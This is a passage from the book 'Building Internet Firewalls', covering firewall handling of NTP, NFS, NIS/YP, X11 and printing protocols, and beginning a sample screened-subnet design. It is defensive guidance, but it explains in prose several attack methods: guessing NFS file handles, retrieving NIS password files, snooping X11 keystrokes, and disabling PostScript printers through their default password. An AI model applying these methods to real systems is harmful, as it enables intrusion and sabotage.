If you do want to run NTP across your firewall, the best way is to set up an NTP server on a bastion host that talks to multiple external NTP servers and another NTP server on some internal host that talks to the bastion host. (You want the bastion host to talk to multiple external NTP servers because it increases accuracy and makes it harder to fool.) Next, configure internal NTP clients and other internal NTP servers to talk to the internal server that talks to the bastion server. You need to configure any packet filtering system between the internal server and the bastion host to allow the following:

  • Queries from the internal NTP server to the bastion host NTP server: UDP packets from port 123 on the internal server to port 123 on the bastion host.

  • Answers from the bastion host NTP server to the internal NTP server: UDP packets from port 123 on the bastion host to port 123 on the internal host.

8.13.4 Summary of NTP Recommendations

  • Consider running NTP purely internally.

  • If you run NTP to the Internet, use an NTP server on a bastion host as a proxy for an internal server.

Previous: 8.12 Network Management Services | Building Internet Firewalls | Next: 8.14 Network File System (NFS)
8.12 Network Management Services | Book Index | 8.14 Network File System (NFS)


[Chapter 8] 8.14 Network File System (NFS)

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.13 Network Time Protocol (NTP) Chapter 8
Configuring Internet Services 		Next: 8.15 Network Information Service/Yellow Pages (NIS/YP)

8.14 Network File System (NFS)

The NFS protocol is designed to allow systems to access files across the network on a remote system, as conveniently as if the files were on directly attached disks. Machines may be NFS servers (exporting their disks for access by other machines), NFS clients (accessing disks exported by NFS servers), or both. NFS is heavily used within LANs, but it is unsafe to allow across a firewall for a variety of reasons.

The primary problem with NFS is its weak authentication of requests. Access to a given NFS-exported filesystem is all or nothing; a given client machine is either trusted to access the filesystem, or it isn't. If the server trusts a given client machine, the server believes whatever the client tells it about who is trying to access which files. It then uses that information for authorization according to the standard UNIX file protection mechanisms (i.e., user, group, and other permissions). There are a few extra protections some NFS servers can optionally apply.

The server's trust in the client is established when the client mounts the filesystem from the server. The client contacts the server and tells the server what filesystem it wants to access. The server checks whether or not the client (based on IP address) is allowed to access that filesystem. If it is, the server gives the client a "file handle" (basically a magic set of credentials for the client), which the client uses for all further access to the filesystem.

Once the client has mounted the filesystem (and received a file handle from the server) the client sends a request to the server each time it wants to act on a file on that filesystem. The request describes the action the client wants to take and includes the file handle obtained from the server, so the server assumes that the client is authorized to request that action.

NFS's main security problems are:

  • The NFS server relies on IP address to authenticate client hosts, making it vulnerable to address forgery.

  • The NFS server relies on the client to authenticate the user, making it vulnerable to any user who has compromised a client machine.

  • The NFS server doesn't recheck the client authentication on every request. The server assumes that if the client uses a valid file handle, the client is authorized to access that filesystem. An attacker with a forged or captured file handle can access the filesystem just as easily as a legitimate client can.

The file handle for a given filesystem is established when the filesystem is created on the server or when it is mounted for the first time on a new server mount point or from a new disk/controller pair. Unfortunately, the method for generating file handles is fairly predictable, and an attacker can probably guess the file handle if he can guess when the filesystem was created. Most NFS servers will allow any number of bad guesses without complaining or shutting down. If the attacker can somehow guess at least the day the filesystem was created - which is especially easy if the attack is against a newly installed machine - he can probably guess the file handle without too much difficulty, by trying the range of file handles that would have been assigned to filesystems created that day.

NFS servers have no mechanism for canceling file handles; once a file handle has been issued, it's good until the server filesystem is reinitialized or mounted elsewhere (even if only temporarily; when it is remounted in its original location again, it will have a new file handle). A client which had access at one time can keep using the file handle it obtained, even if the access controls (the /etc/exports file on most UNIX NFS servers) are later changed to deny access to that client.

Under NFS, root may be treated differently from normal users. Some UNIX NFS servers always treat root the same way they treat normal users: the client's root user gets the same access that the server's root user would have. Some of them always translate the client's root user to a UID known as "nobody" that is never used as a regular user; thus, this user will only have the permissions granted to the world. This "nobody" UID may be either the highest possible UID, or a UID which translates to -1 (which might be written as -1, or as the highest possible UID plus 1). On some UNIX machines, all three of these numbers (-1, 65535, and 65536) are listed in the password file as "nobody." Most UNIX NFS servers allow you to choose whether you wish to allow root access or translate it to "nobody" via an option in the /etc/exports file. Non-UNIX servers normally treat root as if it were any other user, but because that user is unlikely to have special privileges on the server, this isn't a problem.

Translating root to "nobody" is an extremely minor security improvement. Anybody who is capable of being root on the client is capable of pretending to be any user whatsoever on the client, and can therefore see and do anything any user can do. The translation hides only those files on the server restricted to access by root itself. You will still probably want to use translation wherever you can for the minimal protection it does give you, but you should not feel that it makes it safe to export filesystems to possibly hostile clients.

Better protection for the server is available by exporting the filesystem read-only. If the filesystem is exported purely read-only (no host is allowed to write it) you can be reasonably certain the data cannot be modified via NFS. If you allow any host to write it, you're vulnerable to forgery.

NFS clients may also be in danger from NFS servers. For example, an NFS-mounted filesystem may contain setuid programs; users on the client would be able to use those programs to become root. Device entries on an NFS-mounted partition are considered to apply to the client's devices, not the server's devices. Somebody with an account on an NFS client and root permission on an NFS server, can use this to get unlimited, if inconvenient, read-write access to all data on the client.

Some NFS clients provide options to mount that can be used to disable devices and setuid/setgid on mounted filesystems. If mount is not available to users other than root, or if it always uses these options for users other than root, this will protect the client from the server. If these options are not available, even if only root can mount filesystems, you should consider mounting a filesystem to be equivalent to granting root access to the server machine.

Some vendors also support a version of NFS based on Secure RPC. Secure RPC has several problems that also apply to NFS implemented on top of it:

  • It is not widely supported; it is available almost exclusively on Suns.

  • The process of exchanging keys between machines is difficult.

  • It doesn't perform as well as standard RPC. (NFS is particularly performance-sensitive.)

If you have an immutable requirement to run NFS across your firewall to some other site, you should investigate either a private connection to that site or network-level encryption (described in Chapter 10). Be aware that NFS generally doesn't perform well over networks running at anything less than Ethernet speed anyway. You might want to investigate alternatives such as FTP for your particular situation or alternate network filesystems such as the Andrew File System (AFS) (see Appendix B for more information).

8.14.1 Packet Filtering Characteristics of NFS

NFS is an RPC-based service. As mentioned in Chapter 6, it's very difficult to handle RPC-based services with a packet filtering system, because the servers normally don't use predictable port numbers. While the port numbers to be used are too unpredictable for a packet filtering system to cope with, they're not so unpredictable an attacker can't find them. (If nothing else, the attacker could try sending NFS requests to all ports to see which respond as he would expect an NFS server to respond.)

NFS is generally provided over UDP; there are TCP-based NFS servers and clients available, but they are rare and seldom used. NFS is somewhat unusual for an RPC-based service in that it normally uses a predictable port number (port 2049) - apparently for obscure reasons related to how NFS servers interact with the kernel on most UNIX systems. We wouldn't recommend depending on NFS servers to always wind up on port 2049, however. RFC 1094, the NFS protocol specification, says "The NFS protocol currently uses the UDP port number 2049. This is not an officially assigned port, so later versions of the protocol use the `Portmapping' facility of RPC."

8.14.2 Proxying Characteristics of NFS

RPC-based protocols are almost as unpleasant to proxy as they are to allow with packet filtering; they cannot be adequately handled with generic proxies. A dedicated NFS proxy server would be possible, but we do not know of one. NFS is particularly problematic for proxying, because it is data-intense, exchanging large volumes of data in situations where delay is very noticeable to the user. A host doing NFS proxying is going to need to deal with multiple connections transferring large packets at high speeds.

8.14.3 Summary of NFS Recommendations

  • Don't allow NFS across your firewall.

Previous: 8.13 Network Time Protocol (NTP) | Building Internet Firewalls | Next: 8.15 Network Information Service/Yellow Pages (NIS/YP)
8.13 Network Time Protocol (NTP) | Book Index | 8.15 Network Information Service/Yellow Pages (NIS/YP)


[Chapter 8] 8.15 Network Information Service/Yellow Pages (NIS/YP)

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.14 Network File System (NFS) Chapter 8
Configuring Internet Services 		Next: 8.16 X11 Window System

8.15 Network Information Service/Yellow Pages (NIS/YP)

NIS/YP is designed to provide distributed access to centralized administrative information (such as host tables, password files, site-wide email aliases, and so on) shared by machines at a site.

The main problem with NIS/YP is that its security isn't good enough to adequately protect some of the data it contains. In particular, a site's NIS/YP servers generally contain the shared password file (equivalent to the /etc/passwd file on a single system) for the site, complete with encrypted passwords. All you need to get data from an NIS/YP server is the NIS/YP domain name with which the data is associated. An attacker who can talk to a site's NIS/YP server, and who can guess what the site has chosen as its NIS/YP domain name (often the same as, or a derivative of, their regular Internet domain name), can request any information the server has. If the attacker gets their shared password file, these passwords can be cracked at the attacker's leisure.

NOTE: NIS/YP transfers include the encrypted passwords even if the machines are configured to use shadow passwords and the encrypted passwords are not readable on the NIS/YP server.

There is a revised version of NIS/YP, called NIS+, available from some vendors. NIS+ has not achieved wide acceptance, partly because of licensing and compatibility issues, but mostly because the majority of sites have managed to work around the deficiencies of NIS/YP already, and therefore aren't motivated to switch to something new. NIS+ improves security only if it is configured so that it will not support NIS/YP. If you configure NIS+ to support NIS/YP clients (and because few NIS+ clients are available, most NIS+ sites do use it in this mode), it is no more secure than original NIS/YP.

A few NIS/YP servers (notably Sun's) support a configuration file called securenets. This allows you to use IP address authentication to control which hosts your NIS/YP server will release data to. This is an order of magnitude improvement in NIS/YP security. It changes NIS/YP attacks from guessing games (guess the domain name and the NIS/YP server and you get a free prize) to requiring you to do all the same guessing and then go to serious effort to determine what addresses the NIS/YP server will respond to and forge packets from them. Unfortunately, an order of magnitude is probably not enough of an improvement for data as crucial as your encrypted passwords. While securenets (if you have it available) will protect you from casual attackers who want to get into any site they can, it will not protect you from an attacker who knows your site and wants to attack it in particular.

The trick, then, is to keep an attacker from being able to talk to your NIS/YP servers.

8.15.1 Packet Filtering Characteristics of NIS/YP

NIS/YP is an RPC-based service, generally provided over UDP. As mentioned in Chapter 6, it's very difficult to handle RPC-based services with a packet filtering system, because the servers normally don't use predictable port numbers. While the port numbers to be used are too unpredictable for a packet filtering system to cope with, they're not so unpredictable that an attacker can't find them. (If nothing else, the attacker could try sending NIS/YP requests to all ports, to see which respond as they would expect an NIS/YP server to.)

8.15.2 Proxying Characteristics of NIS/YP

RPC-based protocols are almost as unpleasant to proxy as they are to allow with packet filtering; they cannot be adequately handled with generic proxies. A dedicated NIS/YP proxy server would be possible, but we do not know of one, except for the proxying capabilities available with NIS+. In any case, proxying alone does not adequately deal with the vulnerabilities of NIS/YP.

8.15.3 Summary of NIS/YP Recommendations

  • Don't allow NIS/YP across your firewall.

Previous: 8.14 Network File System (NFS) | Building Internet Firewalls | Next: 8.16 X11 Window System
8.14 Network File System (NFS) | Book Index | 8.16 X11 Window System


[Chapter 8] 8.16 X11 Window System

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.15 Network Information Service/Yellow Pages (NIS/YP) Chapter 8
Configuring Internet Services 		Next: 8.17 Printing Protocols (lpr and lp)

8.16 X11 Window System

The X11 window system poses a number of problems for a firewall system. (Note that most window systems supplied by UNIX vendors are either based on or very similar to X11 - from a firewalls point of view, most of the considerations are the same - so this discussion of X11 applies to other window systems as well.)

The first problem with X11 is that the client/server relationship is backwards from most other protocols. The X11 "server" is the display/mouse/keyboard unit, and the "clients" are the application programs driving windows or interacting with the mouse and keyboard on that server. Thus, the server is typically inside the firewall (sitting on the user's desk), and the clients are outside (running on whatever remote computers the user has accessed).

X11 servers have certain capabilities that make them a very tempting target for attackers. There are a number of things an attacker can do with access to an X11 server, including:

  • Getting screen dumps - obtaining a copy of whatever information is being displayed on the screen at any given time.

  • Reading keystrokes - for example, reading a user's password as he or she types it at the keyboard.

  • Injecting keystrokes as if they were typed by the user; this potentially allows the attacker to do all kinds of mean and nasty things, especially in a window where the user happens to be running a root shell.

X11 has certain security mechanisms, but to date they've proven either too weak or too cumbersome to be truly useful against determined attack. One, commonly referred to as the "magic cookie" mechanism, relies on a secret shared between the server and legitimate clients; clients are allowed to access the server only if they can prove they know the secret. The problem is, even though the secret is never passed directly between the X11 client and server, most ways that users make the secret available to both the server and the client (via an NFS-accessible file in their home directory that's accessible to both server and client, for example) compromise the secret to anybody who is snooping on the network. While the magic cookie mechanism is theoretically secure, in practice it is undermined by the way that it is commonly and incorrectly used; unfortunately, there's no easy way to use it correctly.

Another of X11's security mechanisms, called the xhost mechanism, allows the user to tell the server which remote IP addresses the server should accept connections from. Users are supposed to authorize only specific hosts where they intend to run X11 clients. The problem is, users forget to preauthorize the hosts before starting the clients, and the clients are refused access; after this happens a few times, many users disable the controls altogether. For example, they issue an xhost + command to allow connections from any and all hosts in the name of convenience (so they can easily run programs on remote systems), without giving any thought to the security implications of their actions. Even if users don't disable xhost altogether, they're still vulnerable to any connections from the machines they've approved; there's no way for the xhost mechanism to determine whether or not any given connection from one of those machines is legitimate.

Few sites need to run X11 across their firewalls from the Internet. There are occasional WWW sites that provide X clients as a way to provide real-time displays, but they are few and far between. If you need to allow X11 from the Internet, consider using one of the X11 proxies discussed in Chapter 7, for example, x-gw in the TIS Firewall Toolkit.

8.16.1 Packet Filtering Characteristics of X11

X11 uses TCP. X11 uses port 6000 for the first server on a machine. This choice of ports presents another problem for packet filtering systems: the X11 ports are in the middle of the "above 1023" range of ports that most applications use for random client-side ports. Thus, any packet filtering scheme that allows packets in to ports above 1023 (in order to allow packets from remote servers to local clients) needs to be very careful not to allow connections in to X11 servers. It can do this either by totally blocking access to the range of ports used by these servers (which can be a tricky proposition because of the possibility of multiple servers per machine, per the discussion below) or by using "start-of-connection" filtering (looking at the TCP ACK bit) to disallow inbound TCP connections to any ports.

Some machines run multiple X11 servers. The first server is at port 6000, the second at 6001, and so on. On a UNIX system, the DISPLAY environment variable tells clients what X11 server to contact. This variable is of the form hostname:n; this tells clients to contact the server on port 6000+n on machine hostname.

Sometimes such machines actually have multiple display/keyboard/mouse setups, but more often the multiple servers are virtual servers for some remote X terminal. X11 is a very verbose, high-bandwidth protocol; it doesn't run well over dial-up links. One of the solutions that's been adopted (for example, by NCD's XRemote package) is to run a virtual X11 server on a well-connected machine (for example, linked by Ethernet to the machines the client programs are running on), and then to speak some other, more frugal protocol over the slow link between this virtual server and the real X terminal. Every machine running X11 will have a server at port 6000. A few will have servers at 6000 and 6001. Only a very few machines will have more than that.

Thus, to block access to all these servers, assuming that you can't do start-of-connection filtering, you need to block access to ports 6000 through 6000+n, where n is some undetermined number. You don't want to make n too small, because that might expose some of the virtual X11 servers to attack. On the other hand, you don't want to make it too big, either, because you're blocking ports in the range of random ports that could be used by other application clients. You don't want to keep another protocol's client (e.g., Telnet or FTP) from working simply because it happened to pick as its random client port a port blocked to prevent X11 access.

You do have one thing going for you: the way most operating systems allocate such random ports. Generally, when a client application asks the operating system to allocate a random port for its use, the kernel allocates the next available port after the last one allocated (wrapping around to the beginning of the port number space when necessary). If a client happens to grab a port blocked because of X11, the client will fail. If the user tries to run the client again a few times, the client will get a new port each time, and will eventually succeed when the port allocated moves beyond the blocked range.

A common approach (again, assuming that you can't do start-of-connection filtering to block external connections to internal servers) is to block, say, four ports (ports 6000 through 6003) on all hosts, and more ports on hosts where you know or suspect people will run lots of virtual X11 servers, e.g., the hosts people dial in to from their X terminals at home. A more straightforward approach is to use proxying to direct connections to a bastion host that is not running a window system. It can make outbound connections on any port without worrying about hitting the blocked range, because it doesn't need a blocked range.

What should you do on a machine where you've blocked a large range of ports (because of the potential for many X11 servers on that machine)? If you have problems with clients of other protocols because of the blocked ports, you could run a simple program to keep the kernel's "next port" assignment out of the blocked range. The program would simply need to ask the kernel for a random port, and if the port it was assigned was in the blocked range, keep asking for more random ports until the ports being assigned were no longer in the blocked range. The program would then need to perform this check every minute or so. Most sites will choose to either avoid the problem altogether with proxying, or ignore the problem, rather than going to this length to deal with it, but if you have a server that must provide heavily used Internet client access and multiple X servers, it may be worth it to you.

Some vendors provide modified or enhanced X11 servers with somewhat different characteristics; for example, Sun's OpenWindows server listens at both port 6000 (for X11) and port 2000 (for Sun's older NeWS window system protocol), with second servers at ports 6001 and 2001, and so on.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 6000+n | [52] | Incoming X11 connection to nth server, client to server
Out | Int | Ext | TCP | 6000+n | >1023 | Yes | Incoming X11 connection to nth server, server to client
Out | Int | Ext | TCP | >1023 | 6000+n | [52] | Outgoing X11 connection to nth server, client to server
In | Ext | Int | TCP | 6000+n | >1023 | Yes | Outgoing X11 connection to nth server, server to client

[52] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.16.2 Summary of X11 Recommendations

  • Do not allow clients on the Internet to connect to X11 servers on your internal network. If you have to, use an X11 proxy server (such as the one in the TIS FWTK) running on a bastion host.

  • If you cannot use start-of-connection filters, blocking X11 may block other connections. You will need to use proxying or special programs if you have large numbers of X11 servers on the same machine.

Previous: 8.15 Network Information Service/Yellow Pages (NIS/YP) | Building Internet Firewalls | Next: 8.17 Printing Protocols (lpr and lp)
8.15 Network Information Service/Yellow Pages (NIS/YP) | Book Index | 8.17 Printing Protocols (lpr and lp)


[Chapter 8] 8.17 Printing Protocols (lpr and lp)

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.16 X11 Window System Chapter 8
Configuring Internet Services 		Next: 8.18 Analyzing Other Protocols

8.17 Printing Protocols (lpr and lp)

The BSD lpr printing system is very similar to the BSD "r" commands discussed earlier in this chapter (rsh, rlogin, rcp, rdump, rdist). Unlike the "r" commands, lpr authorizes hosts, not individual users, and it will accept jobs from hosts in /etc/printers.equiv as well as /etc/hosts.equiv.

The System V lp printing system doesn't really have a remote printing component. When it does remote printing, it usually does it by handing the job off to a BSD lpr printing system, or by using the BSD rsh command (which is often called remsh on System V systems, because such systems have another program called rsh that does something else entirely).

Given the deficiencies of both lp and lpr, many UNIX vendors implement their own solutions to remote printing. Other platforms may support lp, lpr, a separate protocol, or some combination. Because it has its own protocol, which is somewhat easier to implement than rsh, lpr is more popular than lp on non-UNIX systems, but many of them have their own protocols. Some printers are network devices in their own right, sometimes speaking lp or lpr directly, and sometimes (particularly older printers) speaking a protocol developed by the printer manufacturer.

For the most part, the wide variety of other network printing protocols that are out there share a common feature; they're no more secure than lpr. Most of them are not even as secure as lpr (if you can reach the system with a print request in the right protocol, it will print it). Because modern PostScript printers can be intelligent Ethernet devices with their own disks, it is theoretically possible for a rogue print job to turn one into a network sniffing device. In practice, this is a baroquely complex approach; attackers aren't very likely to succeed at it. However, more mundane denial of service attacks on printers are eminently possible, and in fact have been known to happen.

Some are merely annoying, such as simply printing page after page of garbage (or, better yet, something offensive to the victim or their coworkers) until the printer runs out of paper. Unfortunately, the nastiest of them are enabled by a security feature in PostScript. PostScript was designed to protect certain dangerous commands by requiring a password before they were executed. This password is stored in an EEPROM chip on the printer, and is factory-set to "0" on every brand of PostScript printer. It's always the same because it must always be the same. Some of the commands that the PostScript designers considered dangerous are routinely used by standard PostScript drivers, and if you change the password, those drivers will no longer work. Because, in order to reset it, you need either the old password or a ROM burner, a program that uses the well-known "0" password to reset the password to something unknown can make printers effectively unusable until new EEPROMs are sent from the factory. (Some printers will run without the EEPROM, with an effective password of 0.) Removing or replacing the EEPROM resets not only the password, but also the printer ID and the page count; if you have fonts licensed to the printer, they will have to be relicensed. Since the last wave of such attacks, licensing of fonts to individual printers has become uncommon.

The intelligence and vulnerability of PostScript devices makes it important to protect your printers from Internet access. Make sure you have blocked any remote printing protocols your machines and printers use. You will need to check every printer type and every machine type separately.

8.17.1 Packet Filtering Characteristics of lpr

lpr is TCP-based. Servers use port 515. Clients use random ports below 1024, just like the BSD "r" commands, as discussed above.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | <1024 | 515 | [53] | Incoming lpr, client to server
Out | Int | Ext | TCP | 515 | <1024 | Yes | Incoming lpr, server to client
Out | Int | Ext | TCP | <1024 | 515 | [53] | Outgoing lpr, client to server
In | Ext | int | TCP | 515 | <1024 | Yes | Outgoing lpr, server to client

[53] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.17.2 Proxying Characteristics of lpr

lpr is a store-and-forward protocol, capable of being configured to do its own proxying. You can simply run a standard lpr configuration on your proxy server and configure it to drive whatever printers you like or pass jobs to another server. This does not provide security improvements over direct lpr, but it will let it cross a nonrouting host.

8.17.3 Packet Filtering and Proxying Characteristics of lp

lp itself provides no remote printing support. It handles printing across the network by using either rsh, which is covered above with the other BSD "r" commands, or lpr. To determine what your printer configuration is using, configure a remote printer and read its interface file (which is usually stored in /usr/spool/lp/interfaces/printername). Some vendors may also provide novel remote printing systems for use with lp; you will need to consult your vendor documentation.

8.17.4 Summary Recommendations for Printing Protocols

  • Do not permit printing protocols across your firewall.

Previous: 8.16 X11 Window System | Building Internet Firewalls | Next: 8.18 Analyzing Other Protocols
8.16 X11 Window System | Book Index | 8.18 Analyzing Other Protocols


[Chapter 8] 8.18 Analyzing Other Protocols

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.17 Printing Protocols (lpr and lp) Chapter 8
Configuring Internet Services 		Next: 9. Two Sample Firewalls

8.18 Analyzing Other Protocols

How do you go about analyzing protocols that we haven't discussed here? The first question to ask is: Do you really need to run the protocol across your firewall, or is there some other satisfactory way to provide or access the service desired using a protocol already supported by your firewall?

If you really need to provide a protocol across your firewall, and it's not discussed above, how do you determine what ports it uses and so on? While it's sometimes possible to determine this information from program or protocol documentation, the easiest way to figure it out is usually to ask somebody else, such as the members of the Firewalls mailing list.[54] (See Appendix A).

[54] But make sure you check the archives first, to see if the question has already been asked and answered.

If you have to determine the answer yourself, the easiest way to do it is usually empirically. Here's what you should do:

  1. Set up a test system that's running as little as possible other than the application you want to test.

  2. Next, set up another system to monitor the packets to and from the test system (using etherfind or tcpdump or some other package that lets you watch traffic on the local network).

  3. Run the application on the test system and see what the monitoring system records.

You may need to repeat this procedure for every client implementation and every server implementation you intend to use. There are occasionally unpredictable differences between implementations (e.g., some clients always use TCP, even though most DNS clients use UDP by default).

Previous: 8.17 Printing Protocols (lpr and lp) | Building Internet Firewalls | Next: 9. Two Sample Firewalls
8.17 Printing Protocols (lpr and lp) | Book Index | 9. Two Sample Firewalls


[Chapter 9] Two Sample Firewalls

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.18 Analyzing Other Protocols Chapter 9 Next: 9.2 Screened Host Architecture

9. Two Sample Firewalls

Contents:
Screened Subnet Architecture
Screened Host Architecture

In this chapter, we describe two sample configurations for basic firewalls. Almost any real firewall is going to be more complex than those described in this chapter, but this presentation should give you some idea of the tasks involved in building a firewall and how the various pieces fit together.

NOTE: We want to emphasize that these examples are just that: examples. You shouldn't blindly implement one of these examples, without first taking the time to understand your own needs, your environment, and the implications and complications of the services you want your firewall to provide.

The services that we're going to provide through these sample firewalls are just the basics: terminal access, file transfer, electronic mail, Usenet news, the World Wide Web, and DNS. See Chapter 8, Configuring Internet Services for a full discussion of these and other services.

9.1 Screened Subnet Architecture

The screened subnet architecture, described in Chapter 4, Firewall Design and shown in Figure 9.1, is probably the most common do-it-yourself firewall architecture. This architecture provides good security (including multiple layers of redundancy) at what most sites feel is a reasonable cost.

Figure 9.1: Screened subnet architecture

There are two-router and single-router variations of the screened subnet architecture. Basically, you can use either a pair of two-interface routers or a single three-interface router. The single-router screened subnet architecture works about as well as the two-router screened subnet architecture, and is often somewhat cheaper. However, you need to use a router that can handle both inbound and outbound packet filtering on each interface. (See the discussion of this point in Chapter 6, Packet Filtering.) We're going to use a two-router architecture as our example in this section because it is conceptually simpler.

The components of this type of firewall include the following:

  • Perimeter network

  • Exterior router

  • Interior router

  • Bastion host

Let's review briefly the purposes of these various components, presented originally in Chapter 4.

Perimeter network

Isolates your bastion host from your internal network, so a security breach on the bastion host won't immediately affect your internal network.

Exterior router

Connects your site to the outside world. If possible, the exterior router also provides at least some protection for the bastion host, interior router, and internal network. (This isn't always possible, because some sites use exterior routers that are managed by their network service providers and are therefore beyond the site's control.)

Interior router

Protects the internal network from the world and from the site's own bastion host.

Bastion host

Serves as the site's main point of contact with the outside world. (It should be set up according to the guidelines in Chapter 5, Bastion Hosts.)

In addition to the machines that make up the firewall itself, assume there are machines on the internal network (internal hosts) that fulfill the following roles. (Note that any given internal machine might fill any, or even all, of these roles.)

  • Mail server

  • Usenet news server

  • DNS server

  • Client for various Internet services

Each of these internal services is provided directly (via packet filtering) or indirectly (via proxy servers running on the bastion host).

We're going to assume (at least for the purposes of this example) that internal users in our system are trusted not to actively try to circumvent the firewall, and that there is no particular need to monitor or log their Internet activities.

We're also going to assume that you are using properly assigned and routed IP addresses (that is, addresses assigned to your site, and properly routed and advertised to the rest of the Internet by your service provider) for your internal and perimeter networks. If you aren't, you have no choice but to use proxies, because you can't allow packets with those unassigned IP addresses out onto the Internet; even if you did, replies would have no way to come back to you.

Finally, we're going to assume you're using separate network numbers for your perimeter net and internal net, so that you can detect forged packets easily. (See the discussion in "Risks of Filtering by Source Address" in Chapter 6.)

9.1.1 Service Configuration

Given the architecture we've just described, how do we provide the basic Internet services?

9.1.1.1 Telnet

Outgoing Telnet could be provided through packet filtering or through proxies. Which approach should we use?

Proxying will require either modified clients or modified user procedures; either one will be tedious to implement for somebody. Proxying would allow us to restrict or monitor Telnet usage by user by forcing our users to authenticate to a proxy server before completing their requests. However, remember that we have decided to assume internal users are trustworthy, so there is no need for authentication. Proxying would be necessary if we were using unassigned or unadvertised IP addresses internally, but that's not the case here, either. Because we have trustworthy users and proper IP addresses, proxying for Telnet doesn't provide any advantage over packet filtering, and it's more difficult to set up and maintain. Therefore, for this example we're going to provide outgoing Telnet via packet filtering.

Incoming Telnet is considerably more difficult to provide safely and conveniently. If it were necessary, incoming Telnet could be provided on the bastion host using extra authentication. However, for a site that is looking for a simple configuration, the reasonable thing to do is to disallow incoming Telnet altogether. That's what we'll do for this example.

9.1.1.2 FTP

Unlike Telnet, FTP doesn't lend itself to a pure packet filtering solution. Because normal mode FTP requires an incoming connection to an arbitrary port over 1023, trying to allow it without doing anything else gives attackers access to all kinds of services running on our internal systems. That leaves us two choices:

  • Support passive mode via packet filtering

  • Support normal mode via proxies

In either case, the standard FTP clients shipped with UNIX operating systems, and most of the popular, publicly available clients for personal computers, won't work the normal way. If we use the TIS FWTK ftp-gw proxy gateway (described in Chapter 7, Proxy Systems), we can use unmodified clients, but at the cost of teaching the users to follow special procedures. Some popular FTP clients - the ones built in to Web browsers like Netscape Navigator or Mosaic - do use passive mode without being modified, but then again, not all servers support it well.

A reasonable compromise would be to use packet filtering and proxies, using a proxying gateway like ftp-gw from the TIS FWTK that doesn't require modification of the clients. Clients that support passive mode will work via the packet filters. On platforms where we can easily replace the provided clients, we can provide passive mode clients; on platforms where we can't easily replace the clients, we can modify user procedures.

As we've said, if we wanted to monitor FTP usage, or if we were using an unassigned or unrouted network number, we'd have to do exclusively proxying, but that's not the case here. We also might want to use proxying exclusively if we decided to hide DNS data - it would save us the trouble of faking data for double-reverse lookups - but hiding DNS data is more trouble than it's worth. In a situation where proxying is used exclusively, we'd have to reconsider which proxy server to use. Requiring users to modify their procedures makes sense here, because there are no other options. The balance might come out differently if everybody were proxying.

Be aware that in order to use the TIS FWTK ftp-gw proxy server on your bastion host, your packet filtering will have to allow TCP connections from ports above 1023 on your bastion host to ports above 1023 on internal hosts, and from port 20 on external hosts to ports above 1023 on your bastion host, for FTP data channels. (See the discussion of FTP in Chapter 8.) This means that someone who breaks in to the bastion host could easily connect to any server on any internal host that uses a TCP port above 1023 (for example, an X11 server on port 6000). Further, any servers that are using such ports (that is, TCP ports above 1023) on the bastion host itself are also vulnerable. For this reason, if you allow these FTP data connections at all for proxying, you probably want to explicitly block access to internal systems to TCP ports above 1023 where you know, or have good cause to suspect, that servers might be listening. At the very least, such ports probably include 6000 through around 6003 (assuming four or fewer real or virtual X11 servers per machine; see the discussion of X11 in Chapter 8).

Keep in mind, however, that blocking specific ports, rather than blocking all ports by default and then allowing specific ports, is generally a dangerous strategy. It's hard to develop and maintain a complete list of ports that need to be blocked at your site. It would be better to block everything by default and then allow only specific ports, but you can't do that with standard (nonpassive) FTP, because of the way it works.

Allowing passive-mode FTP with packet filtering is a fairly liberal approach, because it allows pretty much any connection to go through as long as it is initiated by the inside. The number of servers above port 1023 is very large. This has some advantages (it lets users access nonstandard HTTP servers, for example), but it may also allow users to access all kinds of services that are unsafe. In allowing it, we're assuming that our users are not only well-intentioned, they're also capable of telling the difference between a safe and an unsafe connection, or at least avoiding the temptation to do unexpected things.

Because we've denied incoming Telnet, it makes sense to deny incoming user FTP as well. Both services require approximately the same security measures, and making one of them available would make configuring the other trivial.

Incoming anonymous FTP is a different matter, and we'll provide it. Because we're not a major Internet service provider, and because we're using the TIS FWTK already anyway, we can go for security over features and use the TIS FWTK anonymous FTP server. If we were going to provide major anonymous FTP, we'd probably want to use the more feature-filled wuarchive FTP server (see Chapter 8 for a description of its capabilities), and run it on a machine that was not the main bastion host but that was still a bastion host on the perimeter network.

9.1.1.3 SMTP

There aren't many options for SMTP in any configuration. We want all external SMTP connections to go to a single machine with a secured SMTP server, and we don't trust random internal machines to have safe SMTP servers. That means we'll put a secured SMTP server on the bastion host and use DNS MX records to direct all incoming mail to the bastion host, which will then pass all the incoming mail to a single internal secured SMTP server.

What other options do we have? We could put a secure SMTP server on the internal mail server and direct incoming mail to it, but if that SMTP server were compromised, the entire internal net would then be at risk. Alternatively, we could have the bastion host send mail directly to machines on the internal network, but once again, we'd be increasing our vulnerability if the SMTP server on the bastion host were compromised. The compromised bastion host would be speaking to untrustworthy internal SMTP servers, and compromise of the internal net would quickly follow. If the bastion host can speak only to the internal mail server, that narrows the possible attacks it can make; the internal mail server can run a secured SMTP server. Furthermore, by making this choice, messy maintenance tasks are transferred from the security-critical bastion host to the less vulnerable internal mail server.

How about outgoing mail? It would probably be safe to allow internal machines to send mail directly to the outside world, but doing so creates a maintenance headache. (You have to watch the mail configuration on all the internal machines.) Besides, doing this opens another direct connection between the internal and external networks. There aren't any known ways for an SMTP server to attack an SMTP client, but stranger things have happened.

Allowing internal machines to send mail directly to the outside world doesn't seem to bring much advantage either. The only difference it makes is that we'd be able to send mail (but not receive it) when the bastion host is down.

No matter what decision we make, we'll have to configure our mail clients. (Unlike FTP and Telnet, SMTP does not work as installed without modifying configuration files.) In addition, the work to direct the mail to a server is less than the work to correctly send it to the external universe.

